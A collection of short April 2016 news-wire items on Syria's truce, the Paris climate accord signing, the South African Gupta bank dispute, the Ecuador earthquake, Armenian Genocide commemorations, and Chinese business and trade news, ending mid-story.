"The FDFA strongly condemns any attacks directly targeting the civilian population, as was the case in recent weeks in the provinces of Idlib and Aleppo," the authority said in a written statement.

"Such attacks constitute a serious violation of international humanitarian law, in particular the fundamental principle of distinction," it added.

The fragile truce, in place since February 27, has by and large hold though certain areas are witnessing incremental violence which is not only jeopardizing the delivery of aid but also endangering Geneva-based intra-Syrian talks seeking to find a political solution to the conflict.

Over 250,000 people have died since fighting broke out in March 2011, while millions of others have been displaced as a result of protracted violence and reigning insecurity.

The state has also become a hotbed for terrorist factions, with the Islamic State and the al-Nusra Front controlling large swaths of territory.

"Federal Councillor Didier Burkhalter, Head of the Federal Department of Foreign Affairs, calls on all parties to the conflict in Syria to strictly respect international humanitarian law, including the principles governing the conduct of hostilities," FDFA concluded.
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New York City on Thursday beefed up security around the UN Headquarters as dignitaries arrived here for sessions on Sustainable Development Goals and a signing ceremony of the Paris climate accord scheduled for Friday.

Manhattan's Midtown East neighborhood on Thursday was bristled with law enforcement officers, checkpoints, blocked off streets and special VIP traffic lanes.

First Avenue along the UN compound's western boundary and four streets leading to it were closed to regular traffic and special VIP lanes reserved along the Second Avenue and 42nd Street leading to the headquarters.

Small motorcades were led by blue and white New York Police Department cruisers with flashing lights.

Large concrete blocks, nearly the size of a small car, were in position outside the UN headquarters and heavy duty electrically-operated barricade-gates placed at checkpoints, lowered only for authorized vehicles.

Federal investigators mingled with state and NYPD officers at the checkpoints as UN safety and security officers checked identification passes to allow delegates, UN staff and members of the media heading to the headquarters.

Demolition of the temporary North Lawn Building, used during the recent 2-billion-U.S.-dollar renovation of the headquarters complex and construction projects on the compound's eastern sector, were halted.

UN officials said the heightened security would be in effect only Thursday and Friday.
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A cabinet minister on Thursday denied allegations that the South African government is intervening in a dispute between four South African major banks and an investment company.

The government will only be interacting with the banks to find out the facts in this matter, Minister in the Presidency Jeff Radebe said at a press briefing in Cape Town.

He was responding to questions following his announcement that a team consisting of the ministers of finance, mineral resources and labour had been established to investigate why the banks decided to close the bank accounts of Oakbay Investments, the holding company for the Gupta family's businesses in South Africa.

Earlier this month, four major South African banks closed the bank accounts of Oakbay Investments following reports that the Gupta family had been exerting undue influence on President Jacob Zuma's appointment of cabinet ministers.

Radebe rejected the suggestion that what the government is doing is tantamount to bullying the banks.

He said the cabinet was concerned that this move by the banks could deter future investors who want to open South African bank accounts.

"Cabinet noted the actions by the four banks that gave notice to close the bank account of a company," he said. "Whilst cabinet appreciate the terms and conditions of the banks, the acts may deter future potential investors who may want to do business in South Africa."

Radebe said the cabinet has instructed the ministers of finance, labour and mineral resources to open a constructive engagement with the banks to find a lasting solution to this matter.

But this should not be interpreted as setting a dangerous precedent, nor is it bullying the banks by intervening in the dispute, Radebe said.
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China's Vice Minister of Foreign Affairs and G20 Sherpa Li Baodong on Thursday urged all parties to start implementing the 2030 Agenda for Sustainable Development in a comprehensive manner at a high-level thematic debate.

Li attended the United nations General Assembly High-Level Thematic Debate on Achieving the Sustainable Development Goals and held dialogues on the preparatory process of G20 Hangzhou Summit with Group 77 and other stakeholders from Tuesday to Thursday.

In the thematic debate, Li pointed out that as the largest developing country, China always put development at the top of its agenda.

In September, President Xi Jinping made solemn commitments that China stands ready to work with other parties to contribute to the 2030 Agenda, he said.

"Currently, China has launched its implementation process and included it into China's mid-to-long-term national development program, which well aligns China's domestic efforts with the international development agenda," he added.

Li said that as the G20 presidency this year, China is actively promoting the G20 to contribute to the international development cooperation and the implementation of the 2030 agenda.

"The concept of development runs through the whole design of agenda and outcomes for the Hangzhou Summit, thus serving as an overarching theme in the preparatory work," he said.

In terms of development, the Hangzhou Summit will be marked with two "firsts," he said.

"It is the first time that the G20 will formulate an action plan on the implementation of 2030 Agenda for Sustainable Development. Upon China's initiative, the G20 is examining ways to support industrialization in Africa and LDCs (Least Developed Countries)."

"Meanwhile, under China's leadership, the G20 issued its first Presidency Statement on Climate Change, committing to signing the Paris Agreement on April 22 or thereafter, and bringing the Agreement into force as soon as possible."

Li said that China hopes, by hosting the Hangzhou Summit, to make joint efforts with other countries to implement the 2030 agenda and make progress on the path towards common prosperity and development.

In the dialogues with G77 and other stakeholders, Li introduced the theme, agenda and the preparatory process of the Hangzhou Summit.

He also emphasized that China was committed to working with other parties to promote development by encouraging innovation, improving governance, promoting trade and investment, and supporting inclusion and interconnectedness, which will benefit developing countries and their peoples at large.

All participants highly commended China's openness, transparency and inclusiveness in its preparations for the G20 Summit and warmly welcome its outreach efforts to listen to the voice of developing countries.

They expressed their willingness to fully support China's work and looked forward to a fruitful Hangzhou Summit.
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The U.S. Democratic presidential front-runner Hillary Clinton said Thursday her greatest political regret is "voting to give President Bush authority in Iraq."

Democratic presidential candidate Hillary Clinton speaks at a rally at Washington High School in Cedar Rapids, Iowa, the United States, Jan. 30, 2016. [Photo/Xinhua]

It is in contrast to her stand in the 2008 campaign, during which Clinton defended her "Yes" vote for the Iraq war as a way to give the then President George W. Bush authority to deal with Iraq.

"It did not turn out the way that I had thought it would, based on what he had said," she said of the Iraq war during a town hall event aired live on the ABC "Good Morning America" program Thursday morning.

Hillary Clinton joined "Good Morning America" two days after winning the New York Democratic primary. She took questions from the two hosts of ABC and questions from the audience.

"And I regret that. And I said that it was a mistake and, obviously, is something that I wish hadn't turned out the way it did." she added.

During the campaign, the Democratic candidate has often been criticized for her vote in support of the Iraq war when she served as the U.S. Senator from New York State.

Her Democratic nomination rival, Bernie Sanders, said earlier that "the disastrous invasion of Iraq, something that I strongly opposed, has unraveled the region completely and led to the rise of al-Qaeda and to (the emergence of) IS."

"I think that (the Iraq war) was one of the worst foreign policy blunders in the history of the United States," Sanders said.

Apart the Iraq war, Clinton has kept giving different answers for what she thinks is her greatest regret in politics, including not overhauling the healthcare system earlier and the 2012 attacks killing four Americans in Benghazi, Libya.
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U.S. President Barack Obama on Thursday pledged to remain vigilant against Iran's destabilizing activities in the Middle East as he tried to comfort his Gulf allies.

"None of our nations have an interest in conflict with Iran," Obama said in a brief press conference after meeting with leaders of the Gulf Cooperation Council (GCC) countries in the Saudi capital Riyadh.

The GCC comprises Bahrain, Kuwait, Oman, Qatar, Saudi Arabia, and the United Arab Emirates.

The Persian Gulf nations, Saudi Arabia in particular, have repeatedly raised concerns that the nuclear deal reached with Iran last year will further empower the Islamic Republic to interfere in Arab affairs.

The tensions reached a new high in January when Riyadh and a number of its Sunni Arab allies cut diplomatic ties with Tehran, after mobs ransacked the Saudi embassy in response to the execution of a prominent Shiite cleric in Saudi Arabia.

"When we entered into negotiations with Iran on the nuclear deal there was concern that in the interest of getting a deal done we would somehow look the other way with respect to other destabilizing activities," Obama said.

The U.S. president said the deal has "cut off every single one of Iran's pathways to a nuclear weapon," but the United States continues to have "serious concerns" about Iran's behavior in the region.

During the U.S.-GCC summit, leaders also committed to urgently undertake additional steps to intensify the campaign to defeat the Islamic State (IS) militant group and the al-Qaida, and reduce regional and sectarian tensions that fuel instability, said a White House statement.

It's Obama's fourth visit to the oil-rich Gulf nation since taking office in 2009.

The kingdom is seen as one of Washington's most strategic allies in the Middle East, but bilateral relations have been strained by the nuclear deal reached with Iran last year.

A day earlier, President Obama met with King Salman bin Abdulaziz at Erga Palace.

Obama underscored the importance of accelerating the campaign against the IS group and welcomed Saudi Arabia's important role in the coalition against the terrorist group, read a White House statement.

The two leaders also discussed regional conflicts in Syria, Yemen and Iraq, and challenges posed by Iran's provocative activities.

Almost a year ago, in May 2015, Obama hosted leaders of Gulf nations at the White House and the Camp David retreat, the first meeting of the Gulf countries after a framework agreement on limiting Iran's nuclear program.

Except for Kuwait and Qatar, top leaders from four of the six-member GCC countries were absent from the 2015 summit.
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Russian President Vladimir Putin on Thursday said it is important to maintain close contacts with Israel amid the unstable situation in the Middle East.

Putin met with visiting Israeli Prime Minister Benjamin Netanyahu on Thursday. A statement from the Kremlin said Putin and Netanyahu exchanged views on key issues on bilateral cooperation, particularly in the field of security, as well as urgent regional and global issues including the Palestinian-Israeli peace process and the Syrian crisis.

Netanyahu's visit came days after Palestinian President Mahmoud Abbas visited Russia.

The Russian president said when meeting with Netanyahu that there are reasons for maintaining close contacts with Israel "taking into consideration the uneasy situation in the region."

Netanyahu said he came to Russia "with one particular main purpose: to strengthen the coordination between us in the field of security, in order to prevent all sorts of mistakes and misunderstandings."

The Israeli prime minister said his country was doing everything in its power to prevent the transfer of "super modern weapons" from Syria and Iraq to the Hezbollah militant organization in Lebanon.

He also insisted that "the Golan Heights (territories in northern Israel the country occupied from Syria in the 1967 War) will remain part of the sovereign territory of Israel with or without an agreement."

Netanyahu also vowed to prevent the appearance of "another terrorist front" directed against Israel in the Golan Heights.

Russian Foreign Ministry spokeswoman Maria Zakharova said during a briefing earlier that Russia maintained its position on the Golan Heights based on a United Nations (UN) Security Council resolution, which stipulated inadmissibility of the acquisition of a territory by war and the necessity to find a solution terminating its occupation through talks.

On Monday, Putin discussed the Middle East peace process at a meeting with Abbas.

He voiced Russia's support for Palestinian efforts "aimed at the activation of all means that are necessary to establish a constructive dialogue," while Abbas urged the international community to define the principles on which the Middle East settlement could be reached and formulate a timetable for negotiations.
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Intense battles continued Thursday between the forces loyal to the Syrian government and Kurdish fighting groups, a monitor group reported.

The Assayish forces, the security arm of the Democratic Union Party in Syria 'PYD', and other Kurdish groups have engaged in fight against the National Defense Forces (NDF), a para-military group loyal to the Syrian army, in the predominantly-Kurdish city of Qamishly in the northeastern province of al-Hasakah for two days, according to the Syrian Observatory for Human Rights.

The UK-based watchdog group said the battles raged on Thursday after the Kurdish fighters took control over a prison which was under the Syrian forces control in the city.

It said that the prison fell after tens of Syrian soldiers surrendered to the Assayish, adding that the Kurdish fighters are still besieging the security quarter, which is under the government control.

The eruption of violence in Qamishly is the first to take place between the Syrian forces and the Kurds. The two have an undeclared coordination in the battle against the Islamic State (IS) group in the al-Hasakah province.

The Observatory, which relies on a network of activists on ground, said the violence broke out after both sides arrested fighters from each other with failed attempt over their release.

At least 10 government NDF soldiers were killed and 20 others were arrested by the Kurds, said the Observatory, adding that four Assayish fighters were also killed as well as two civilians, including a child.

The marketplaces in Qamishly have become paralyzed after the surge of violence there amid a displacement wave by people who live on front-lines, said the Observatory.

It added that tribesmen are trying to convince the Assayish to ease the siege on the security quarter in the city to allow ambulances in and evacuate the wounded.

Syria's official media outlets remained tight-lipped on the incidents in Qamishly amid leaks that the Russians may mediate a reconciliation between both parities.

Last month, Kurdish parties in Syria voted in favor of establishing a federal region in northern Syria.

The Observatory said then that establishing a federal region was agreed upon following a "big meeting" between Kurdish parties in the city of Rmailan along the Syrian-Turkish borders.

The federal Kurdish region would include areas in northern Syria on a triangular-basis, including the predominantly Kurdish strongholds of Kobani, Afreen and the al-Jazeera region.

The watchdog group said the majority of Arabs in that Kurdish region reject the Kurd's federal rule, deeming the move as a preliminary step for partitioning off Syria.

The Syrian Foreign Ministry warned then the Kurds against announcing federal rule in predominantly-Kurdish areas.

The Kurds, who make up 15 percent of Syria's 23 million inhabitants with most living in the north of the embattled country, tried during the conflict to keep their areas away from military operations and retain the kind of "autonomy."

In mid-2012, Syrian troops withdrew from the majority of the Kurdish areas, and Kurdish militia became responsible for security there.

After the emergence of the IS militants, the Kurds got engaged in intense battles with the group, which captured Kurdish areas in northern Syria.

The U.S.-led coalition has aided the Kurds in their battles against the IS, since the start of its strikes against the extremist militants in Syria in September 2014.
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In what he called "modest but very real" progress on the humanitarian track of the crisis in Syria, the United Nations envoy for the country Thursday reported that, among other steps, more than 500,000 civilians have been reached during the cessation of hostilities, and yesterday, some 500 people were medically evacuated from several besieged areas.

"So far, 560,000 people have been reached, between hard-to-reach areas and besieged areas. This means that about 220,000 people in the besieged areas have been so far reached, which is more or less half the people [in those areas]," UN Special Envoy for Syria Staffan de Mistura told reporters in Geneva, where he has been mediating intra-Syrian talks towards a resolution to the five-year conflict.

He went on to say that 515 people were medically evacuated yesterday, simultaneously from Zabadani, Madaya, Kefraya and Foah, with the very active participation of the Syrian Arab Red Cross (SARC) and "with a lot of homework done by the UN."

"Another [example] of modest but real progress is the fact that Khawla Mattar  a woman, I want to underline, because we should remember that when we have the privilege of having courageous colleagues like her  led a convoy for the first time since 2012 to Darayya," Mr. de Mistura said, underscoring that Darayya, a suburb of the capital, Damascus, "has become a symbol of inaccessibility."

"Her report is certainly a wake-up call," he continued, noting that there are children there and other civilians in need of food and medicine. "And we will, together with, hopefully everyone who has been helping us, in particular I must give credit to the Russian Federation, who had been certainly arguing very much in favour of this UN convoy to Darayya [] we will follow-up on this. It is clear we cannot stop at simply a fact finding, there is a need to follow-up," he said.

Turning to Deir ez-Zor he spotlighted eight "successful and unprecedented, from that altitude  about 5,000 to 6000 meters  [air drops]," which have reached an estimated 65,000 people, according to World Food Programme (WFP). He said WFP has reported that it plans to double the number of the agencys air drops, and that he hoped the required funding would be made available.

As for issues of concern he said "we are not yet there" on the parties allowing in medical supplies. Items like dialysis equipment have still not been allowed through. In addition, vitamins, antibiotics, pain killers, surgical items, and basic medical kits were not allowed by the Ministry of Health in Syria the other day when they were supposed to go by convoy.

"And this is not only worrisome but unacceptable according to international law. Even the worst enemies should allow this," said Mr. de Mistura, reiterating that medical items have become an urgent priority request from the humanitarian taskforce, in particular to the Government of Syria.

"That of course applies to all besieged areas including Kefraya and Foah, not only those besieged by the Government," he added.

He went on to note that the Humanitarian Taskforce also addressed problems caused by the armed opposition, in particular the access by SARC, to reach and start working again in Azaz and eastern Aleppo. On detainees he announced that he would nominate senior person working with his team to address the issue of detainees and abducted people.

"[The] bottom line is there has been modest but real progress, not enough to make us comfortable at all [] the Humanitarian Taskforce is very much involved in pushing this to become more solid. If humanitarian aid increases, as should be, and the cessation of hostilities goes back into what we consider a hopeful mood, that will certainly help the political discussions," Mr. de Mistura explained, adding that he plans to brief the press again tomorrow on the state of the political track.
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As global leaders prepare to sign the Paris Agreement on climate change at United Nations Headquarters in New York, the head of the UN Office for Disaster Risk Reduction Thursday called on signatories to go beyond their existing commitments to reduce greenhouse gas emissions if the world is to avoid catastrophic future weather events.

"I welcome the fact that over 160 countries have declared they are signing up to the Paris Agreement but we are in real danger of being overtaken by the rapid pace of global warming if signatories do not significantly scale up the level of their ambition to reduce greenhouse gas emissions," said Robert Glasser, the UN Special Representative for Disaster Risk Reduction.

"It is clear that weather and climate are implicated in 90 per cent of major disaster events attributed to natural hazards. Droughts, floods, storms and heatwaves have the potential to undermine many developing states' efforts to eradicate poverty. Climate change is adding to pre-existing levels of risk fuelled by exposure and socio-economic vulnerability," he added.

Indeed, in order to keep the global spotlight focused on climate change and build on the strong momentum generated by the Paris Agreement, global leaders will participate tomorrow in a signature ceremony hosted by UN Secretary-General Ban Ki-moon.

The Paris Agreement was adopted by all 196 Parties to the UN Framework Convention on Climate Change (UNFCCC) at the UN Climate Change Conference in Paris on 12 December 2015. In the Agreement, all countries agreed to work to limit global temperature rise to well below 2 degrees Celsius, and to strive for 1.5 degrees Celsius.

Thus far, the latest assessment indicates that more than 165 countries will sign the landmark accord, setting a record for the most countries to sign an international agreement on one day. The previous record was set in 1982, when 119 countries signed the UN Convention on the Law of the Sea.

The event coincides with International Mother Earth Day and in his message on the Day, Mr. Ban said the Paris accord, in conjunction with the 2030 Agenda for Sustainable Development, holds the power to transform our world.

All of the world's largest economies, and the largest greenhouse gas emitters, have indicated that they will sign the agreement on Friday. The signing is the first step towards ensuring that the agreement enters into force as soon as possible. After signing, countries must take the further national (or domestic) step of accepting or ratifying the agreement.

"The momentum achieved by so many signatures on one day sends a clear signal of solidarity and resolve. Now we must unleash the full force of human ingenuity and ensure low-emission growth and improved climate resilience, the UN chief noted in his Earth Day message.

"Leadership from the top is crucial. But each of us has a role to play. We can make energy-efficient choices, stop wasting food, reduce our carbon footprints and increase our sustainable investments," said the Secretary-General, stressing that small actions, multiplied by billions, will bring about dramatic change, bolstering the Paris Agreement "and setting us on a trajectory to achieve the Sustainable Development Goals."

The agreement will enter into force 30 days after at least 55 countries, accounting for at least 55 per cent of global greenhouse gas emissions, deposit their instruments of ratification or acceptance with the Secretary-General.

There are 13 countries, mostly small island developing States, which are expected to deposit their instruments of ratification immediately after signing the agreement on Friday.

Events tomorrow will begin with an opening ceremony starting at 8:30 a.m., which will include music from students of New York's Julliard School and a short video bringing the "gavel moment" from Paris to the signature ceremony.

This will be followed by the signature ceremony, which is a legal formality where only Heads of State or Government, foreign ministers, or other representatives with "formal powers" from their Governments may sign the agreement.

After signing the agreement, leaders will deliver their national statements, having been asked by the Secretary-General to, among other things, provide an update on how their Governments will implement their national climate plans and integrate them into their overall sustainable development plans; and indicate their Governments' timetable for ratifying the Agreement.

In the afternoon, there will be a High-Level Event on Implementation, which will focus on highlighting how all actors of society and economy can accelerate action, learn from one another, and replicate and scale successful initiatives and activities that will deliver the implementation of the Paris Agreement and the 2030 Agenda for Sustainable Development.

The session will be moderated by UNFCCC Executive Secretary Christiana Figueres, and French Environment Minister and COP 21 President Segolene Royal. The session will feature a link-up with the Solar Impulse aircraft that is attempting to be the first airplane to circumnavigate the world using only renewable energy.

Speaking at a press conference on Tuesday, David Nabarro, the Secretary-General's Special Adviser on the 2030 Agenda for Sustainable Development and Climate Change, told reporters that the signing of the Paris Agreement is crucial because achieving progress in relation to climate change is central to the broader effort of achieving the SDGs.

"Most people who looked at the global situation say that if we don't succeed in maintaining the world under a 2 degrees Celsius rise, then it's going to be incredibly difficult to realize the Sustainable Development Goals," he warned. "And so implementing the Paris agreement is important for promoting prosperity, improving people's wellbeing, and protecting the environment."
YEREVAN, APRIL 22, ARMENPRESS. Chairman of the ANC Sweden Arshak Gavafyan informed Armenpress that the Armenian community of Sweden will hold a protest outside the Turkish Embassy in Stockholm on April 24.

The Chairman said that the protest will be followed by a liturgy in the St. Jacob Church. The protest event will continue in the Central Square of Stockholm, where representatives of various organizations will deliver speeches. Gavafyan also noted that usually the protests are joined by other minorities, in particular Assyrians.

The Chairman said that rallies will take place in the Swedish city of Orebro as well.

A protest event will be held in Gutenberg city. The Armenian community along with other Christian minorities will start a rally from the Gustav Adolf Square. The Chairman said that every year representatives of Swedish political parties take part in the Armenian Genocide protest rallies. This year they will also participate.

Our main message is for Turkey to face its own history, and stop its hostile behavior towards Armenia and Armenian people. We demand compensation. The issue will not be solved only with an apology, the Chairman said.
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The death toll from the 7.8-magnitude earthquake that devastated parts of the Ecuadorian coast over the weekend has reached 587, including 27 foreigners, the government said Thursday.

The latest report of victims, issued at 4 p.m. local time (2100 GMT), said 539 of the victims have been identified and claimed by their families, while the identities of 48 of the bodies are still being investigated.

Among the 27 foreigners killed in the quake, which hit late Saturday, 10 are Colombian, six Cuban, two Canadian, two from the Dominican Republic, two from Britain, and one each from Italy, Germany, France, and Ireland. One has yet to be identified.

The deaths mainly occurred in 13 towns in Manabi, the coastal province worst hit by the quake, but also in a town in the Andean province of Chimborazo, two towns in the southwest coastal province of Guayas, and two towns in the northwest province of Santo Domingo de los Tsachilas.

Officials said 253 of the victims were men, 286 were women, and the gender of 48 unidentified victims has yet to be determined.

The number of injured stands at 5,733, with 163 reported missing.

Relief efforts and materials are urgently needed. By Thursday afternoon, a campaign launched by Ecuador's National Assembly had already gathered 377,197 U.S. dollars, according to a press release from the parliament.
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China and Vietnam held talks on maritime cooperation on less sensitive issues and reached some consensus, the Ministry of Foreign Affairs said on Friday.

The eighth round of talks between expert working groups from the two countries was held in Qingdao, a coastal city in Shandong Province, from Tuesday to Friday, according to a press release from the ministry.

The two sides discussed maritime cooperation programs such as a comparative study on sedimentary evolution in two river delta regions and a cooperative study on environmental management in the Beibu Gulf, and reached some consensus, the press release said.

The two sides also exchanged views on other areas of cooperation and pledged to implement the agreements already reached between the two countries.

The expert working group, which specializes in maritime cooperation on less sensitive issues, was established in 2012. Since then, China and Vietnam have signed cooperation agreements on two programs, which have helped strengthen bilateral maritime cooperation.
YEREVAN, APRIL 22, ARMENPRESS. The reconciliation between Armenian and Turkish people is difficult, if not impossible, without honest historical acknowledgment. Therefore, the daily steps by the two sides will make possible the transformation of societies. But this will be difficult to begin if Turkey cannot first admit to the most basic truth, the President of the International Association of Genocide Scholars, professor at Manitoba University (Canada) Andrew Woolford said this during an interview with Armenpress.

-More than a century later after Armenian Genocide the Turkish state continue to refuse the historic truth. How would You comment this official position of Turkish Republic?

-In 1997, the International Association of Genocide Scholars passed a resolution to reaffirm that the mass murder of over a million Armenians by Turkey in 1915 is a case of genocide. This resolution was reinforced in 2005 by a resolution decrying Turkish state denial of the genocide, pointing to the unanimity among genocide scholars on this case, as well as to the fact that it clearly meets the criteria of the United Nations Convention on the Prevention and Punishment of Genocide and was a key case influencing Raphael Lemkin in developing the genocide concept.

-How would you evaluate the position of international community on this issue?

-IAGS has called upon nations of the world, in particular the United States, to recognize the Armenian Genocide. To date, twenty-six countries, as well as forty-three states of the United States, have fully or partially recognized these events as genocide. For such a significant world-historic tragedy, this remains a disappointingly small number.

-Don't You think that the international recognition and condemnation of the Armenian Genocide will be a significant step for the prevention of genocides in future?

-There is some debate among our scholars about the efficacy of naming instances of genocide, but IAGS moves forward on the understanding that recognition of and education about genocide contributes to its prevention. No matter what definition of genocide one subscribes to, the Armenian Genocide is a very important example because it illustrates so many of the techniques of group destruction Lemkin first identified when he coined the term. Therefore, acknowledging and understanding the Armenian Genocide is an important step to recognizing genocide as it unfolds. International recognition of the Armenian Genocide helps foster understanding and awareness of ongoing genocidal processes and gives us hope we can mobilize individuals to demand action to prevent future genocide.

-Today Turkey arms the terrorist groups that are committing crimes against humanity in Middle East. Dont you think that this kind of activities of Turkey comes from the impunity for committing the first Genocide of 20th century?

-I cannot comment on this question from an IAGS perspective, since we do not have a resolution that directly addresses this issue.

-How do you see the reconciliation between the people of Armenia and Turkey?

-IAGS has produced its resolutions based on the fact that reconciliation is difficult, if not impossible, without honest historical acknowledgment. In my own country, Canada, a Truth and Reconciliation Commission has just completed its work on the genocide against indigenous peoples, including the efforts to forcibly assimilate indigenous children through residential schools. In releasing their report, the Commission noted that reconciliation is a long process. It begins today with the truth. After the truth is made known, it is up to all of us-governments, of course, but other institutions, and individuals, as well -to build relationships and conduct everyday acts of reconciliation that will make possible the transformation of our society. The people of Armenia and Turkey will lead this if it is to happen. But this will be difficult to begin if Turkey cannot first admit to the most basic truth.

Interview by Araks Kasyan
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YEREVAN, APRIL 22, ARMENPRESS. Armenian Member of Parliament of the Turkish Parliament Garo Paylan submitted a petition to the Turkish Parliament demanding the investigation of the 1915 murders of Armenian MPs. As Armenpress reports, Paylan announced this from the Parliaments podium.

He greeted everyone with Armenian Barev, and started his speech by describing the Ottoman Empire in the beginning of the 20th century. He noted that during that period, 1 out 5 was Armenian in the country.

During that time, Armenians also were represented in the Parliament. He spoke about the Armenian MPs of the Turkish Parliament, described that they were arrested in 1915 and murdered in various places. He said that he demands to investigate who and why gave the order to arrest and murder the Armenian MPs. Paylan also demanded to locate their corpses and properly bury them.

He displayed photos of the MPs and voiced their names to the Parliament.
The company is in talks with several large hospitals and IT firms about the project

Carestream Health Inc, a provider of medical imaging systems and information technology solutions based in the United States, will build a cloud platform to establish a new clinical ecosystem in China, a top executive said.

The company is discussing the project with several large hospitals and IT companies including Alibaba Group Holding Ltd, with whom Carestream has already announced a partnership.

The aim is to gradually provide complete medical information system solutions via Carestream's cloud platform.

Kevin Hobert, chief executive officer of Carestream, said part of the company's core strategy is to build regional health management, image and cloud-data platforms in China. The project will be kicked off this year.

The company has set up 12 cloud image centers worldwide. They are connected to more than 400 medical institutions. More than 63 million image and data entries are stored, accessed and used at those centers.

China is the world's third-largest medical device market after the US and Japan.

"Medical big data can be used to improve management efficiency and innovate business models, giving a new impetus for the industry, which has been relatively stable," said Hobert.

"To patients, establishing medical data service centers on the basis of clinical data and realizing precision medicine and life cycle health management is the ultimate purpose of healthcare based on big data."

Supported by more than 2,000 employees in China, Carestream now operates a research and development center in Shanghai and two plants in Shanghai and Xiamen. The Rochester, New York-based company said 46 percent of its global research staff is based in Shanghai.

Even though China's economic growth slowed in 2015, Carestream managed to gain sales worth $500 million last year, a double-digit year-on-year growth.

Hobert said medical services being provided in China's remote towns and villages, especially in the country's central and western regions, are comparatively less developed.

To improve the situation, the company has been working with the National Health and Family Planning Commission for three years offering training to doctors at the grassroots level. The goal is to improve local medical and health conditions and save costs for rural residents seeking a diagnosis.

The project covers 832 counties in 22 provinces and regions that are under the country's poverty alleviation program. The focus is on county-level health administrative and management personnel and medical officials.

Zhang Yuxin, a professor at Shenyang-based China Medical University, said China's medical device industry still lags behind the developed economies. Most businesses are small and scattered. Moreover, they lag behind in technology, quality and design. As far as branding is concerned, there is still a long way to go.

"Because of technical superiority, foreign medical device manufacturers still dominate the high-end market. Many foreign enterprises are mainly eyeing China's basic medical device market," said Zhang.
Chinese consumers ranked the financial and technology brands as the most authentic while brands in the education and real estate sectors were ranked the least authentic, a survey by global communications agency Cohn & Wolfe showed on Thursday.

The survey was part of the firm's global study on the authenticity of the brands in the eyes of consumers, which revealed the top 100 most authentic brands in China and globally.

Financial brands including the Bank of China and China Merchants Bank as well as technology brands including Huawei Technologies Co Ltd, Alibaba Group Holding Ltd and Baidu Inc made the China Top 100 list. Traditional Chinese medicine brands Tong Ren Tang Group Co Ltd and Yunnan Baiyao Group Co Ltd were also ranked high on the list.

Globally, The Walt Disney Co, Amazon.com Inc, Apple Inc, Samsung Electronics Co Ltd and Lego A/S all were in the top 10 on the Global Authentic 100 brands while no Chinese company made the list, the survey showed.

Nearly 12,000 consumers in 14 markets from the United States, Europe, Asia, Latin America and the Middle East were surveyed in the 2016 study.

It identified three key attributes for authenticity: reliable (delivers on promises, high quality), respectful (treats customers well, protects privacy and data) and real (be genuine, communicates honestly, acts with integrity).

The survey showed that Chinese consumers are the least cynical toward brands as 36 percent of them said that brands and companies are "open and honest" while the number is 23 percent in the US, 13 in Singapore, and a mere 5 percent in Sweden.

"Despite many issues of fraud, fake brands and scandals, the Chinese culture still has a lot of respect for the larger and global brands. I think there is a natural affinity whereas in Europe and the US, consumers are a little bit jaded against the brands," said Jim Joseph, chief integrated marketing officer at Cohn & Wolfe.

While financial institutions and technology brands achieved the highest scores on the authenticity index, the industries of consumer goods, education and real estate were ranked the lowest by Chinese consumers.

Jia Xiaoxuan, director of the brand research center at Chinese consulting firm Hejun Group, said that the authenticity ranking has to do with the frequency of consumers' interaction with the brands and it also reflected the imbalance of industrial development in China.
Hony Capital Ltd, the Chinese private-equity firm that bought UK restaurant chain PizzaExpress Ltd in 2014, raised $2.7 billion for a dual-currency fund intended to smooth the way for overseas and China-based investors to participate in the same deals, people familiar with the matter said.

Hony Capital has completed the fundraising, of which about 70 percent is in US dollars and the rest in yuan, one of the people said, asking not to be identified discussing private information.

The dual-currency fund is a first among larger firms in China's private-equity industry and is designed to resolve some of the long-standing tensions between participants in the firm's separate yuan and dollar pools, the people said.

Until now, Hony Capital and competitors such as Carlyle Group LP and Blackstone Group LP have offered separate funds to their offshore and onshore investors, sometimes leading to questions about how managers were allocating deals and resources.

Dollar-based investors have expressed concerns that they are shut out of the best China deals, while mainland investors, who have restricted access to foreign currency due to the country's capital controls, are sometimes worried they lose out on the most attractive overseas transactions, the people said. The new dual-currency structure is intended to better align the interests of the two sides, they added.

Johnny Xing, a Beijing-based spokesman for Hony Capital, declined to comment.

As Chinese investors seek to channel more money overseas, their interest in gaining access to the best foreign deals has grown. Overseas mergers and acquisitions by Chinese companies are expected to triple this year and increase further in 2017, according to Roland Berger GmbH, a Munich-based consulting firm.

The dual-currency fund is expected to invest in both local and foreign companies involved in various sectors of the Chinese economyincluding consumer, healthcare, pharmaceuticals and industrial machinery firms, the people said.

For Hony Capital, founded in 2003 and backed by the conglomerate Legend Holdings Corp, the new fund would be the eighth it has raised. Five of its existing private-equity funds are in US dollars and two are in yuan, with total assets of 48 billion yuan ($7.4 billion). It also has two yuan-denominated mezzanine funds.

Investors in Hony Capital funds include Goldman Sachs Group Inc, Singapore's state-owned investment firm Temasek Holdings Pte, the Canada Pension Plan Investment Board, China Life Insurance Co and China's National Social Security Fund.

The firm has invested in close to 80 companies, including video website PPTV.com and industrial machinery manufacturer Zoomlion Heavy Industry Science and Technology Co, both Chinese firms. As well as its $1.5 billion acquisition of PizzaExpress in 2014, Hony Capital teamed up with US buyout firm TPG Capital and two Hollywood producers to build a new movie studio the same year. It bought a stake in Compagnia Italiana Forme Acciaio SpA, an Italian machinery maker, in 2008.

In March, Hony Capital sold its stake in Santos Ltd, Australia's third-largest oil and gas producer. The buyout firm pared its holding in China's CSPC Pharmaceutical Group Ltd last year.

Global private-equity firms have raised fewer yuan funds since the National Development Reform Commission issued a ruling in 2012 that overseas private equity firms don't qualify for special status under rules meant to encourage foreign investment.
BEIJING - Chinese Vice-Premier Wang Yang on Thursday urged greater efforts to improve foreign trade.

Wang said at a teleconference that China's foreign trade fundamentals have not changed despite mounting downward pressures this year.

Tepid global demand and slowing domestic economy have dealt a blow to China's foreign trade. It fell 7 percent year on year in 2015, with exports down 1.8 percent and imports down 13.2 percent.

However, the March data provided some relief. Exports last month surged 18.7 percent year on year, the first increase since December, compared with falls of 20.6 percent in February and 6.6 percent in January. Imports dipped 1.7 percent, an improvement from February's 8-percent drop.

The government will use a combination of fiscal, financial and land policies to encourage processing trade to relocate to the central and western regions, Wang said.

The government will encourage enterprises to build their brands and expand their marketing networks and will support the development of cross-border e-commerce industry, he said.

More efforts should be made to improve foreign trade environment, promote nationwide integrated cargo-clearance system and strengthen international cooperation on production capacity, Wang added.
BEIJING - With the launch of its own gold price benchmark, China, the world's biggest producer and consumer of gold, has more influence in the pricing of the precious metal.

It will be some time, however, before "Shanghai Gold," launched by the Shanghai Gold Exchange (SGE) on Tuesday, can truly challenge the dominance of its international counterparts.

